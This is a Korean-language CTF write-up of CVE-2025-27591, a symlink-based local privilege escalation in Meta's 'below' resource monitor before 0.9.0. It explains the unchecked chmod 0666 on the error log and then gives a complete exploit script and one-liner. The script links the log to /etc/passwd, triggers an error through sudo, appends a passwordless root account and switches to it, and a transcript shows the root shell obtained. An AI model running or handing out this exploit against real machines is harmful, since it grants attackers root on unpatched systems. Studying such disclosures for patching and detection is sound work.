
CVE-2025-27591 – Meta below 심볼릭 링크 추적을 통한 로컬 권한 상승 (HackTheBox CTF)
below 심볼릭 링크 로컬 권한 상승| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2025-27591 |
| 소프트웨어 | Meta below (시스템 리소스 모니터) |
| 영향받는 버전 | < 0.9.0 |
| 취약점 | 심볼릭 링크 추적 → 루트 권한으로 임의 파일 덮어쓰기 |
| 인증 | below에 대한 sudo 권한을 가진 로컬 사용자 |
| 영향 | 루트로의 로컬 권한 상승 |
| 맥락 | HackTheBox CTF 도중 발견됨 |
Meta Platforms, Inc.의 below 시스템 리소스 모니터링 도구에는 오류 로깅 메커니즘에 결함이 있습니다. sudo로 호출되면 대상 경로가 심볼릭 링크인지 먼저 확인하지 않고 /var/log/below/에 있는 로그 파일에 강제로 0666 권한을 설정합니다. 이로 인해 로컬 공격자는 로그 파일을 루트가 쓸 수 있는 임의의 파일을 가리키는 심볼릭 링크로 교체하여 사실상 통제된 내용으로 해당 파일을 덮어쓸 수 있습니다.
below < 0.9.0의 로깅 코드는 루트로 실행될 때 다음 작업을 순서대로 수행합니다:
/var/log/below/error_root.logchmod(path, 0o666) 호출 — 심볼릭 링크인지 확인하지 않음4단계에서 실행 전에 경로가 심볼릭 링크로 교체된 경우 쓰기 작업은 대신 심볼릭 링크의 대상으로 향합니다.
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid"가 작동하는 이유잘못된 시간 문자열을 전달하면 below가 오류 메시지를 기록하게 됩니다. 오류 경로는 로깅 코드에 도달하고, 이 코드는 현재 우리의 심볼릭 링크인 파일에 무작정 쓰기 작업을 수행합니다.
chmod +x exploit.sh
./exploit.sh
전제 조건: 현재 사용자는
/usr/bin/below를 실행할 수 있는sudo권한이 있어야 합니다.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
이 취약점은 below 버전 0.9.0에서 수정되었습니다. 이 수정은 로깅 경로에서 파일 작업 전에 심볼릭 링크 확인을 도입합니다.